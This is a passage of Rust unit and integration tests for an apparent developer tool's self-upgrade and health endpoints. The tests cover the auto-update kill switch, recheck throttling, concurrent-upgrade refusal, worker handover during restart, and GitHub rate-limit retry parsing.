24633        beat.worker_protocol = None;
24634        beat.pid = 4321;
24635        beat.updated_at = jiff::Timestamp::now();
24636        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24637            .expect("publish a heartbeat");
24638
24639        let res = fx.post("/api/upgrade", None).await;
24640        assert_eq!(res.status, 409);
24641    }
24642
24643    /// [`should_spawn_recheck`] must refuse for the same two reasons
24644    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
24645    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
24646    /// Purely a predicate over config and the environment - no network, no
24647    /// disk, no runtime - so unlike the fixture-based tests around it this
24648    /// one needs neither.
24649    #[test]
24650    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
24651        assert!(!should_spawn_recheck(&crate::config::Update {
24652            mode: UpdateMode::Off,
24653            interval: None,
24654            auto_restart: false,
24655        }));
24656
24657        // SAFETY: single-threaded as far as this variable goes, the same
24658        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
24659        unsafe {
24660            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24661        }
24662        let killed = should_spawn_recheck(&crate::config::Update {
24663            mode: UpdateMode::Notify,
24664            interval: None,
24665            auto_restart: false,
24666        });
24667        unsafe {
24668            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24669        }
24670        assert!(
24671            !killed,
24672            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
24673             one-time startup check"
24674        );
24675
24676        assert!(should_spawn_recheck(&crate::config::Update {
24677            mode: UpdateMode::Notify,
24678            interval: None,
24679            auto_restart: false,
24680        }));
24681    }
24682
24683    /// [`recheck_poll_period`] must track a configured `[update] interval`
24684    /// shorter than its own default ceiling - a fixed sleep here would leave
24685    /// an operator's short interval waiting on the next wake-up instead of on
24686    /// `should_check`, which is the same bug this whole task exists to fix,
24687    /// just one level down.
24688    #[test]
24689    fn recheck_poll_period_tracks_a_short_configured_interval() {
24690        let short = crate::config::Update {
24691            mode: UpdateMode::Notify,
24692            interval: Some("1m".to_owned()),
24693            auto_restart: false,
24694        };
24695        let period = recheck_poll_period(&short);
24696        assert!(
24697            period <= Duration::from_secs(30),
24698            "a one-minute interval must wake the task far sooner than the \
24699             default ceiling, or the deck would not notice within the \
24700             interval the operator configured: got {period:?}"
24701        );
24702
24703        let default = crate::config::Update {
24704            mode: UpdateMode::Notify,
24705            interval: None,
24706            auto_restart: false,
24707        };
24708        assert_eq!(
24709            recheck_poll_period(&default),
24710            UPDATE_RECHECK_POLL_MAX,
24711            "the default day-long interval should poll at the (capped) \
24712             ceiling rather than needlessly often"
24713        );
24714    }
24715
24716    /// [`update_recheck_due`] must not repeat a check made moments ago, the
24717    /// same throttle `updater::Checker::should_check` already gives the
24718    /// CLI's notify mode. Built over an explicit state file via
24719    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
24720    /// write the operator's real `last_update_check.json` - and therefore
24721    /// cannot flake on whatever that file happens to say on the machine
24722    /// running the test.
24723    #[test]
24724    fn recheck_skips_the_network_before_the_interval_elapses() {
24725        let dir = TempDir::new().expect("temp dir");
24726        let path = dir.path().join("state.json");
24727        let state = kaishin::UpdateCheckState {
24728            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
24729            last_known_latest: None,
24730            last_known_url: None,
24731        };
24732        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
24733
24734        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
24735        assert!(
24736            !update_recheck_due(&checker, None),
24737            "a check made moments ago must not be repeated before the \
24738             configured interval elapses"
24739        );
24740    }
24741
24742    /// An upgrade this deck already started must not be raced by a recheck
24743    /// that discovers a newer release mid-install - regardless of what
24744    /// `should_check` says, which is why the state file here is missing
24745    /// entirely: read alone, that alone would answer "never checked, go
24746    /// ahead".
24747    #[test]
24748    fn recheck_defers_to_an_upgrade_already_in_flight() {
24749        let dir = TempDir::new().expect("temp dir");
24750        let path = dir.path().join("state.json");
24751        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
24752        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
24753
24754        assert!(
24755            !update_recheck_due(&checker, Some(&progress)),
24756            "a recheck must not run while an upgrade this deck started is \
24757             still moving"
24758        );
24759    }
24760
24761    #[tokio::test]
24762    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
24763        // The same env var the background check honours (`disabled_by_env`)
24764        // must also stop a button press before it ever calls
24765        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
24766        // means "never contact GitHub from this process", and a tap on the
24767        // upgrade button must not override that any more than a broken
24768        // `magi.toml` may. Left unset, this fixture's default config would
24769        // otherwise reach a real, unauthenticated GitHub call.
24770        //
24771        // SAFETY: single-threaded as far as this variable goes - nothing else
24772        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
24773        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
24774        unsafe {
24775            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24776        }
24777        let fx = Fixture::start().await;
24778        let res = fx.post("/api/upgrade", None).await;
24779        unsafe {
24780            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24781        }
24782        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24783        let body = res.json();
24784        assert!(body["to"].is_null(), "there was no release to move to");
24785        assert!(body["parked"].is_null(), "and nothing was parked");
24786        assert!(
24787            body["detail"]
24788                .as_str()
24789                .unwrap()
24790                .contains("disabled by MAGI_NO_AUTOUPDATE"),
24791            "{body:?}"
24792        );
24793    }
24794
24795    #[test]
24796    fn auto_upgrade_decision_respects_policy_and_failed_tags() {
24797        use AutoUpgradeDecision::{Skip, Trigger};
24798        let mut cfg = Update::default();
24799        assert!(matches!(
24800            auto_upgrade_decision(&cfg, false, false, "v2", None),
24801            Skip(_)
24802        ));
24803        cfg.auto_restart = true;
24804        assert_eq!(
24805            auto_upgrade_decision(&cfg, false, false, "v2", None),
24806            Trigger
24807        );
24808        for (disabled, moving, failed) in [
24809            (true, false, None),
24810            (false, true, None),
24811            (false, false, Some("v2")),
24812        ] {
24813            assert!(matches!(
24814                auto_upgrade_decision(&cfg, disabled, moving, "v2", failed),
24815                Skip(_)
24816            ));
24817        }
24818        assert_eq!(
24819            auto_upgrade_decision(&cfg, false, false, "v3", Some("v2")),
24820            Trigger
24821        );
24822        cfg.mode = UpdateMode::Off;
24823        assert!(matches!(
24824            auto_upgrade_decision(&cfg, false, false, "v2", None),
24825            Skip(_)
24826        ));
24827    }
24828
24829    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24830        Box::pin(async { anyhow::bail!("test installer failed") })
24831    }
24832
24833    static TEST_AUTO_HANDOVERS: std::sync::LazyLock<Mutex<HashMap<PathBuf, Arc<Notify>>>> =
24834        std::sync::LazyLock::new(Mutex::default);
24835
24836    fn test_replace_and_signal_handover(
24837        home: PathBuf,
24838    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24839        Box::pin(async move {
24840            if let Some(mut progress) = updater::read_progress(&home) {
24841                progress.advance(updater::Stage::Replaced);
24842                updater::write_progress_logged(&home, &progress);
24843            }
24844            if let Some(signal) = TEST_AUTO_HANDOVERS
24845                .lock()
24846                .unwrap_or_else(PoisonError::into_inner)
24847                .remove(&home)
24848            {
24849                signal.notify_one();
24850            }
24851            Ok(())
24852        })
24853    }
24854
24855    #[tokio::test]
24856    async fn auto_upgrade_guards_opt_in_legacy_concurrency_and_failed_tags() {
24857        let home = TempDir::new().unwrap();
24858        let mut ui = idle_ui(&home);
24859        ui.repo = home.path().to_path_buf();
24860        // Every successful trigger in this test uses this seam, never the installer.
24861        ui.upgrade_runner = fail_test_upgrade;
24862        let ui = Arc::new(ui);
24863        let latest = |tag: &str| {
24864            Some(kaishin::LatestRelease {
24865                tag_name: tag.into(),
24866                html_url: String::new(),
24867            })
24868        };
24869
24870        // Opt-in default (`auto_restart = false`) does nothing.
24871        assert_eq!(
24872            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24873                .await
24874                .status(),
24875            StatusCode::NO_CONTENT
24876        );
24877        assert!(updater::read_progress(home.path()).is_none());
24878
24879        // `mode = "off"` disables automatic updates even when `auto_restart = true`.
24880        std::fs::write(
24881            home.path().join("magi.toml"),
24882            "[update]\nmode = \"off\"\nauto_restart = true\n",
24883        )
24884        .unwrap();
24885        assert_eq!(
24886            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24887                .await
24888                .status(),
24889            StatusCode::NO_CONTENT
24890        );
24891        assert!(updater::read_progress(home.path()).is_none());
24892
24893        std::fs::write(
24894            home.path().join("magi.toml"),
24895            "[update]\nauto_restart = true\n",
24896        )
24897        .unwrap();
24898
24899        // Missing detected release skips without re-querying.
24900        assert_eq!(
24901            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, None)
24902                .await
24903                .status(),
24904            StatusCode::NO_CONTENT
24905        );
24906        assert!(updater::read_progress(home.path()).is_none());
24907
24908        // Legacy embedded scheduler is still refused.
24909        let legacy_pid = std::process::id().wrapping_add(1).max(1);
24910        std::fs::write(
24911            home.path().join("daemon.json"),
24912            serde_json::json!({
24913                "schema": 2,
24914                "pid": legacy_pid,
24915                "updated_at": Timestamp::now().to_string(),
24916                "idle": true,
24917            })
24918            .to_string(),
24919        )
24920        .unwrap();
24921        assert_eq!(
24922            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24923                .await
24924                .status(),
24925            StatusCode::CONFLICT
24926        );
24927        assert!(updater::read_progress(home.path()).is_none());
24928        std::fs::remove_file(home.path().join("daemon.json")).unwrap();
24929
24930        // Concurrent upgrade guard refuses while the request gate is held.
24931        let gate = ui.upgrade_gate.lock().await;
24932        assert_eq!(
24933            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24934                .await
24935                .status(),
24936            StatusCode::CONFLICT
24937        );
24938        drop(gate);
24939
24940        // Active chat turns no longer defer automatic upgrades.
24941        ui.talk_turns.lock().unwrap().live.insert("busy".into());
24942        assert_eq!(
24943            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24944                .await
24945                .status(),
24946            StatusCode::ACCEPTED
24947        );
24948        let progress = updater::read_progress(home.path()).unwrap();
24949        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
24950        assert_eq!(progress.stage, updater::Stage::Downloading);
24951        assert_eq!(
24952            begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None)
24953                .await
24954                .status(),
24955            StatusCode::CONFLICT
24956        );
24957        assert!(progress.parked_run.is_none());
24958        assert!(ui.start_detached_loop().await.is_err());
24959        assert!(ui.start_loop(None).is_err());
24960        assert!(ui.begin_resume("late").is_err());
24961        assert_eq!(
24962            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24963                .await
24964                .status(),
24965            StatusCode::NO_CONTENT
24966        );
24967        tokio::time::timeout(Duration::from_secs(2), async {
24968            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24969                tokio::task::yield_now().await;
24970            }
24971        })
24972        .await
24973        .unwrap();
24974        let progress = updater::read_progress(home.path()).unwrap();
24975        assert_eq!(progress.stage, updater::Stage::Failed);
24976
24977        // Same-release failure is suppressed for automatic retries.
24978        assert_eq!(
24979            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24980                .await
24981                .status(),
24982            StatusCode::NO_CONTENT
24983        );
24984
24985        // Manual retry still uses the shared path for the same tag.
24986        let result = upgrade_checked(&ui, "old".into(), Ok(latest("v999.0.0")));
24987        assert_eq!(
24988            finish_upgrade_request(&ui, result).status(),
24989            StatusCode::ACCEPTED
24990        );
24991        assert_eq!(
24992            updater::read_progress(home.path()).unwrap().trigger,
24993            updater::UpgradeTrigger::Manual
24994        );
24995        tokio::time::timeout(Duration::from_secs(2), async {
24996            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24997                tokio::task::yield_now().await;
24998            }
24999        })
25000        .await
25001        .unwrap();
25002
25003        // A newer release tag clears suppression for automatic updates.
25004        assert_eq!(
25005            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.1"))
25006                .await
25007                .status(),
25008            StatusCode::ACCEPTED
25009        );
25010        assert_eq!(
25011            updater::read_progress(home.path()).unwrap().trigger,
25012            updater::UpgradeTrigger::Auto
25013        );
25014        tokio::time::timeout(Duration::from_secs(2), async {
25015            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
25016                tokio::task::yield_now().await;
25017            }
25018        })
25019        .await
25020        .unwrap();
25021    }
25022
25023    #[tokio::test]
25024    async fn auto_upgrade_hands_over_without_waiting_for_active_task_chat_or_service_workers() {
25025        let home = TempDir::new().unwrap();
25026        std::fs::write(
25027            home.path().join("magi.toml"),
25028            "[update]\nauto_restart = true\n",
25029        )
25030        .unwrap();
25031        let mut ui = idle_ui(&home);
25032        ui.repo = home.path().to_path_buf();
25033        ui.upgrade_runner = test_replace_and_signal_handover;
25034        let ui = Arc::new(ui);
25035
25036        let workers = [
25037            ("111111", 1_u64, "task", "task:active-task", 41_001_u32),
25038            ("222222", 2_u64, "chat", "chat:active-chat", 41_002_u32),
25039            (
25040                "333333",
25041                3_u64,
25042                "daemon-service",
25043                "service:maintenance",
25044                41_003_u32,
25045            ),
25046        ];
25047        let mut exec_leases = Vec::new();
25048        for (id, sequence, kind, key, pid) in workers {
25049            let dir = home.path().join("workers/jobs").join(id);
25050            std::fs::create_dir_all(&dir).unwrap();
25051            let payload = if kind == "chat" {
25052                serde_json::json!({ "talk": "active-chat" })
25053            } else {
25054                serde_json::json!({})
25055            };
25056            let job = crate::worker::Job {
25057                id: id.into(),
25058                sequence,
25059                kind: kind.into(),
25060                key: key.into(),
25061                payload,
25062                generation: "gen-old".into(),
25063                version: Some("0.1.0".into()),
25064                status: crate::worker::Status::Running,
25065                result: None,
25066                pid: Some(pid),
25067                created_at: 1,
25068                finished_at: None,
25069            };
25070            std::fs::write(dir.join("job.json"), serde_json::to_vec(&job).unwrap()).unwrap();
25071            exec_leases.push(crate::worker::execution_lease_for_test(
25072                &dir.join("live.lock"),
25073            ));
25074        }
25075        let task_lease = crate::worker::try_lease(home.path(), "task:active-task")
25076            .unwrap()
25077            .expect("free task lease");
25078        let chat_lease = crate::worker::try_lease(home.path(), "chat:active-chat")
25079            .unwrap()
25080            .expect("free chat worker lease");
25081        let service_lease = crate::worker::try_lease(home.path(), "service:maintenance")
25082            .unwrap()
25083            .expect("free service lease");
25084        let chat_turn = ui
25085            .begin_talk_turn("active-chat-turn")
25086            .expect("claim chat turn")
25087            .expect("free chat turn");
25088        assert_eq!(crate::worker::observe_active(home.path()).unwrap().len(), 3);
25089
25090        // An unreadable reservation must defer replacement, not look like an
25091        // idle scheduler. Once repaired, the same release can still proceed.
25092        let corrupt = home.path().join("workers/jobs/444444");
25093        std::fs::create_dir_all(&corrupt).unwrap();
25094        std::fs::write(corrupt.join("job.json"), "{").unwrap();
25095        let latest = || {
25096            Some(kaishin::LatestRelease {
25097                tag_name: "v999.0.0".into(),
25098                html_url: String::new(),
25099            })
25100        };
25101        let refused = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
25102        assert_eq!(refused.status(), StatusCode::INTERNAL_SERVER_ERROR);
25103        assert!(updater::read_progress(home.path()).is_none());
25104        std::fs::remove_dir_all(corrupt).unwrap();
25105
25106        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25107            .await
25108            .expect("bind loopback");
25109        let address = listener.local_addr().expect("address");
25110        let served =
25111            tokio::spawn(axum::serve(listener, Arc::clone(&ui).shared_router()).into_future());
25112
25113        let handover_signal = Arc::new(Notify::new());
25114        TEST_AUTO_HANDOVERS
25115            .lock()
25116            .unwrap_or_else(PoisonError::into_inner)
25117            .insert(home.path().to_path_buf(), Arc::clone(&handover_signal));
25118
25119        let admission = ui.begin_admission().expect("admit");
25120        let response = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
25121        assert_eq!(response.status(), StatusCode::ACCEPTED);
25122        tokio::time::timeout(Duration::from_secs(2), handover_signal.notified())
25123            .await
25124            .expect("auto upgrade runner must reach handover");
25125        let replaced = updater::read_progress(home.path()).unwrap();
25126        assert_eq!(replaced.trigger, updater::UpgradeTrigger::Auto);
25127        assert_eq!(replaced.stage, updater::Stage::Replaced);
25128
25129        let successor_started = std::sync::atomic::AtomicBool::new(false);
25130        let handover = hand_over(home.path(), &ui.admissions, served, || {
25131            successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
25132            Ok(1)
25133        });
25134        tokio::pin!(handover);
25135        // Short admission drain still waits for an in-flight persistence/reservation guard.
25136        std::future::poll_fn(|cx| {
25137            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
25138            std::task::Poll::Ready(())
25139        })
25140        .await;
25141        assert!(!successor_started.load(std::sync::atomic::Ordering::SeqCst));
25142        assert!(ui.begin_admission().is_err());
25143
25144        drop(admission);
25145        tokio::time::timeout(Duration::from_secs(2), handover)
25146            .await
25147            .expect("automatic handover must not wait for active workers")
25148            .expect("handover");
25149        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25150
25151        let successor = bind_waiting(address)
25152            .await
25153            .expect("successor binds released address");
25154        assert_eq!(successor.local_addr().unwrap(), address);
25155
25156        let restarting = updater::read_progress(home.path()).unwrap();
25157        assert_eq!(restarting.trigger, updater::UpgradeTrigger::Auto);
25158        assert_eq!(restarting.stage, updater::Stage::Restarting);
25159        assert!(restarting.parked_run.is_none());
25160        assert!(restarting.parked_talks.is_empty());
25161
25162        let active_after = crate::worker::observe_active(home.path()).unwrap();
25163        assert_eq!(active_after.len(), 3);
25164        for (id, _, kind, key, pid) in workers {
25165            let job = active_after
25166                .iter()
25167                .find(|job| job.id == id)
25168                .unwrap_or_else(|| panic!("worker {id} must survive handover"));
25169            assert_eq!(job.kind, kind);
25170            assert_eq!(job.pid, Some(pid));
25171            assert_eq!(job.generation, "gen-old");
25172            assert_eq!(job.status, crate::worker::Status::Running);
25173            assert!(
25174                crate::worker::control(home.path(), key).unwrap().is_none(),
25175                "no park/stop control may be requested for {key}"
25176            );
25177        }
25178        assert!(
25179            !home.path().join("worker-parks").exists(),
25180            "automatic handover must never request worker parks"
25181        );
25182        assert!(chat_turn.owns(), "chat lease survives automatic handover");
25183        assert!(
25184            crate::worker::try_lease(home.path(), "task:active-task")
25185                .unwrap()
25186                .is_none()
25187        );
25188        assert!(
25189            crate::worker::try_lease(home.path(), "chat:active-chat")
25190                .unwrap()
25191                .is_none()
25192        );
25193        assert!(
25194            crate::worker::try_lease(home.path(), "service:maintenance")
25195                .unwrap()
25196                .is_none()
25197        );
25198
25199        let log = std::fs::read_to_string(updater::log_path(home.path())).unwrap_or_default();
25200        assert!(
25201            log.contains("auto-upgrade: beginning update and restart"),
25202            "{log}"
25203        );
25204        assert!(!log.contains("waiting for idle"), "{log}");
25205        assert!(!log.contains("idle;"), "{log}");
25206
25207        drop(successor);
25208        drop(chat_turn);
25209        drop(service_lease);
25210        drop(chat_lease);
25211        drop(task_lease);
25212        drop(exec_leases);
25213    }
25214
25215    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
25216        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
25217        p.stage = stage;
25218        p
25219    }
25220
25221    #[test]
25222    fn busy_stages_match_the_ui_set() {
25223        use crate::updater::Stage;
25224        assert!(APP_JS.contains(
25225            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
25226        ));
25227        for s in [
25228            Stage::Downloading,
25229            Stage::Replaced,
25230            Stage::Parking,
25231            Stage::Restarting,
25232        ] {
25233            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
25234        }
25235        for s in [Stage::Done, Stage::Failed] {
25236            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
25237        }
25238        assert!(upgrade_in_motion(None).is_none());
25239    }
25240
25241    #[tokio::test]
25242    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
25243        use crate::updater::Stage;
25244        for stage in [
25245            Stage::Downloading,
25246            Stage::Replaced,
25247            Stage::Parking,
25248            Stage::Restarting,
25249        ] {
25250            let fx = Fixture::start().await;
25251            let seeded = seeded_progress(stage);
25252            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
25253            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
25254                .expect("read");
25255
25256            let res = fx.post("/api/upgrade", None).await;
25257            assert_eq!(res.status, 409, "{stage:?}");
25258            let err = res.json()["error"].as_str().unwrap().to_owned();
25259            assert!(err.contains("already in progress"), "{err}");
25260            assert!(err.contains(stage.as_str()), "{err}");
25261
25262            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
25263                .expect("read");
25264            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
25265            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
25266                .unwrap_or_default();
25267            assert!(!log.contains("signalling HANDOVER"), "{log}");
25268        }
25269    }
25270
25271    #[test]
25272    fn upgrade_retry_timing_only_parses_known_diagnostics() {
25273        assert_eq!(
25274            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
25275            Some(3723)
25276        );
25277        assert_eq!(
25278            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
25279            Some(60)
25280        );
25281        assert_eq!(
25282            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
25283            Some(0)
25284        );
25285        for message in [
25286            "permission denied",
25287            "GitHub API rate limit exceeded",
25288            "GitHub rate limit (resets in unknown)",
25289            "GitHub rate limit (resets in 18446744073709551615d)",
25290        ] {
25291            assert_eq!(upgrade_retry_after(message), None, "{message}");
25292        }
25293    }
25294
25295    #[tokio::test]
25296    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
25297        let home = TempDir::new().unwrap();
25298        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
25299        ui.start_loop(None).unwrap();
25300        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
25301        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
25302        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
25303        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
25304        let response = finish_upgrade_request(&ui, result);
25305        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
25306        assert_eq!(response.headers()["retry-after"], "120");
25307        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
25308            .await
25309            .unwrap();
25310        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
25311        assert!(body["error"].as_str().unwrap().contains(reason));
25312        assert_eq!(body["retry_after_secs"], 120);
25313        assert!(body["retry_at"].as_u64().is_some());
25314        for _ in 0..2 {
25315            let view = health(State(ui.clone())).await.unwrap().0;
25316            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
25317            assert_eq!(failure, body);
25318        }
25319        assert_eq!(
25320            std::fs::read(updater::progress_path(home.path())).unwrap(),
25321            before
25322        );
25323        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
25324        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
25325        // A conflicting request must not erase the actionable earlier failure.
25326        let gate = ui.upgrade_gate.lock().await;
25327        assert_eq!(
25328            upgrade_post(State(ui.clone())).await.status(),
25329            StatusCode::CONFLICT
25330        );
25331        drop(gate);
25332        assert!(
25333            health(State(ui.clone()))
25334                .await
25335                .unwrap()
25336                .0
25337                .upgrade_request_error
25338                .is_some()
25339        );
25340        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
25341        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
25342        assert!(
25343            health(State(ui.clone()))
25344                .await
25345                .unwrap()
25346                .0
25347                .upgrade_request_error
25348                .is_none()
25349        );
25350        let live = ui.lock_loop().live.take().unwrap();
25351        live.stop.stop();
25352        live.handle.await.unwrap();
25353    }
25354
25355    #[tokio::test]
25356    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
25357        use crate::updater::Stage;
25358        let repo = TempDir::new().expect("repo dir");
25359        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25360            .expect("write magi.toml");
25361        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25362        for stage in [Stage::Done, Stage::Failed] {
25363            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
25364            let res = fx.post("/api/upgrade", None).await;
25365            assert_eq!(res.status, 200, "{stage:?}");
25366        }
25367        // No record at all, and the gate was released by the earlier calls.
25368        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
25369        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
25370    }
25371
25372    #[tokio::test]
25373    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
25374        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
25375        // and the route answers from its own logic.
25376        //
25377        // This test used to lean on the fixture's placeholder repo failing
25378        // config discovery, which left `mode = "notify"` - and a live,
25379        // unauthenticated call to the GitHub releases API inside a unit test.
25380        // GitHub allows 60 of those an hour per address, so the suite went red
25381        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
25382        // long as somebody kept re-running it: every attempt spent another
25383        // request. Six reruns across four pull requests were charged to that
25384        // before it was read as a rate limit rather than a flake.
25385        //
25386        // What the assertion is about is the "already current" branch, which
25387        // is reached by there being no newer release *or* nowhere to look. The
25388        // second one needs no network and cannot be rate limited.
25389        let repo = TempDir::new().expect("repo dir");
25390        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25391            .expect("write magi.toml");
25392        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25393
25394        // It must answer 200 and leave the process alone: restarting for an
25395        // upgrade that did not happen parks the run in flight and drops every
25396        // connection to pay for nothing. A probe against a deck already on the
25397        // newest build did exactly that, which is how this case got its own
25398        // branch.
25399        let res = fx.post("/api/upgrade", None).await;
25400        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
25401        let body = res.json();
25402        assert!(body["to"].is_null(), "there was no release to move to");
25403        assert!(body["parked"].is_null(), "and nothing was parked");
25404        assert!(
25405            body["detail"]
25406                .as_str()
25407                .unwrap()
25408                .contains("nothing restarted"),
25409            "{body:?}"
25410        );
25411    }
25412
25413    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
25414        tokio::time::timeout(Duration::from_secs(5), async {
25415            while state.lock().unwrap().in_flight {
25416                tokio::task::yield_now().await;
25417            }
25418        })
25419        .await
25420        .expect("capacity scan finished");
25421    }
25422
25423    fn disk_test_scope(home: &FsPath) -> DiskScope {
25424        DiskScope {
25425            runs: home.join("runs"),
25426            worktrees: home.join("worktrees"),
25427            cache: Some(home.join("cache")),
25428        }
25429    }
25430
25431    fn known_disk_capacity() -> DiskCapacity {
25432        DiskCapacity {
25433            free_bytes: Some(100),
25434            runs_bytes: Some(200),
25435            worktrees_bytes: Some(300),
25436            cache_bytes: Some(400),
25437        }
25438    }
25439
25440    #[tokio::test]
25441    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
25442        let home = TempDir::new().unwrap();
25443        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
25444        let mut ui = delta_test_ui(home.path());
25445        let state = Arc::get_mut(&mut ui).unwrap();
25446        state.repo = home.path().to_owned();
25447        state.worktrees_root = home.path().join("worktrees");
25448        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
25449        ui.monitor
25450            .worker_started
25451            .store(true, std::sync::atomic::Ordering::SeqCst);
25452        let cfg = deputy_config(&ui.repo);
25453        let scope = DiskScope::of(&ui, cfg.as_ref());
25454        let (started, reached) = tokio::sync::oneshot::channel();
25455        let (release, blocked) = std::sync::mpsc::channel();
25456        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
25457            started.send(()).unwrap();
25458            // A failed request assertion must also let the blocking worker exit.
25459            let _ = blocked.recv();
25460            known_disk_capacity()
25461        });
25462        assert!(cold.runs_bytes.is_none());
25463        tokio::time::timeout(Duration::from_secs(5), reached)
25464            .await
25465            .unwrap()
25466            .unwrap();
25467
25468        let requests: Vec<_> = (0..4)
25469            .map(|_| {
25470                let ui = ui.clone();
25471                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
25472            })
25473            .collect();
25474        // This is a causal independence check, not a five-second latency
25475        // benchmark. Leave room for unrelated filesystem/thread contention
25476        // when the entire unit suite runs concurrently.
25477        let completed = tokio::time::timeout(Duration::from_secs(60), async {
25478            for request in requests {
25479                let view = request.await.unwrap();
25480                let disk = serde_json::to_value(view.disk).unwrap();
25481                assert!(disk["runs_bytes"].is_null());
25482                assert!(disk["worktrees_bytes"].is_null());
25483                // Free space is a cheap live observation even while the
25484                // recursive capacity measurement remains blocked.
25485                assert!(disk["free_bytes"].is_u64());
25486            }
25487        })
25488        .await;
25489        if completed.is_err() {
25490            release.send(()).unwrap();
25491            wait_for_disk_scan(&ui.monitor.disk).await;
25492            panic!("health must return while the measurement is causally blocked");
25493        }
25494        assert!(ui.monitor.disk.lock().unwrap().in_flight);
25495        // No competing worker can have published while the first holds flight.
25496        assert!(
